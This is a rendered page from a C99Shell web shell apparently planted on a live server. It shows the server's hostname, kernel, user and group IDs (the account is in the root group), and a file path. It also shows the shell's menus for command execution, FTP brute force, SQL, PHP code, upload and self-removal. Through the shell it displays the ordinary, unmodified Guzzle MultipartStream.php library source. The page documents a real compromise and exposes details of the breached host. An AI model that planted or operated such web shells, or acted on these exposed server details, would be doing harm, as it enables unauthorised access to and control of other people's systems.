!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/guzzlehttp/psr7/src/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MultipartStream.php (4.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
GuzzleHttp\Psr7;

use 
Psr\Http\Message\StreamInterface;

/**
 * Stream that when read returns bytes for a streaming multipart or
 * multipart/form-data stream.
 */
final class MultipartStream implements StreamInterface
{
    use 
StreamDecoratorTrait;

    
/** @var string */
    
private $boundary;

    
/** @var StreamInterface */
    
private $stream;

    
/**
     * @param array  $elements Array of associative arrays, each containing a
     *                         required "name" key mapping to the form field,
     *                         name, a required "contents" key mapping to a
     *                         StreamInterface/resource/string, an optional
     *                         "headers" associative array of custom headers,
     *                         and an optional "filename" key mapping to a
     *                         string to send as the filename in the part.
     * @param string $boundary You can optionally provide a specific boundary
     *
     * @throws \InvalidArgumentException
     */
    
public function __construct(array $elements = [], string $boundary null)
    {
        
$this->boundary $boundary ?: bin2hex(random_bytes(20));
        
$this->stream $this->createStream($elements);
    }

    public function 
getBoundary(): string
    
{
        return 
$this->boundary;
    }

    public function 
isWritable(): bool
    
{
        return 
false;
    }

    
/**
     * Get the headers needed before transferring the content of a POST file
     *
     * @param array<string, string> $headers
     */
    
private function getHeaders(array $headers): string
    
{
        
$str '';
        foreach (
$headers as $key => $value) {
            
$str .= "{$key}{$value}\r\n";
        }

        return 
"--{$this->boundary}\r\n".trim($str)."\r\n\r\n";
    }

    
/**
     * Create the aggregate stream that will be used to upload the POST data
     */
    
protected function createStream(array $elements = []): StreamInterface
    
{
        
$stream = new AppendStream();

        foreach (
$elements as $element) {
            if (!
is_array($element)) {
                throw new 
\UnexpectedValueException('An array is expected');
            }
            
$this->addElement($stream$element);
        }

        
// Add the trailing boundary with CRLF
        
$stream->addStream(Utils::streamFor("--{$this->boundary}--\r\n"));

        return 
$stream;
    }

    private function 
addElement(AppendStream $stream, array $element): void
    
{
        foreach ([
'contents''name'] as $key) {
            if (!
array_key_exists($key$element)) {
                throw new 
\InvalidArgumentException("A '{$key}' key is required");
            }
        }

        
$element['contents'] = Utils::streamFor($element['contents']);

        if (empty(
$element['filename'])) {
            
$uri $element['contents']->getMetadata('uri');
            if (
$uri && \is_string($uri) && \substr($uri06) !== 'php://' && \substr($uri07) !== 'data://') {
                
$element['filename'] = $uri;
            }
        }

        [
$body$headers] = $this->createElement(
            
$element['name'],
            
$element['contents'],
            
$element['filename'] ?? null,
            
$element['headers'] ?? []
        );

        
$stream->addStream(Utils::streamFor($this->getHeaders($headers)));
        
$stream->addStream($body);
        
$stream->addStream(Utils::streamFor("\r\n"));
    }

    private function 
createElement(string $nameStreamInterface $stream, ?string $filename, array $headers): array
    {
        
// Set a default content-disposition header if one was no provided
        
$disposition $this->getHeader($headers'content-disposition');
        if (!
$disposition) {
            
$headers['Content-Disposition'] = ($filename === '0' || $filename)
                ? 
sprintf(
                    
'form-data; name="%s"; filename="%s"',
                    
$name,
                    
basename($filename)
                )
                : 
"form-data; name=\"{$name}\"";
        }

        
// Set a default content-length header if one was no provided
        
$length $this->getHeader($headers'content-length');
        if (!
$length) {
            if (
$length $stream->getSize()) {
                
$headers['Content-Length'] = (string) $length;
            }
        }

        
// Set a default Content-Type if one was not supplied
        
$type $this->getHeader($headers'content-type');
        if (!
$type && ($filename === '0' || $filename)) {
            
$headers['Content-Type'] = MimeType::fromFilename($filename) ?? 'application/octet-stream';
        }

        return [
$stream$headers];
    }

    private function 
getHeader(array $headersstring $key)
    {
        
$lowercaseHeader strtolower($key);
        foreach (
$headers as $k => $v) {
            if (
strtolower($k) === $lowercaseHeader) {
                return 
$v;
            }
        }

        return 
null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0083 ]--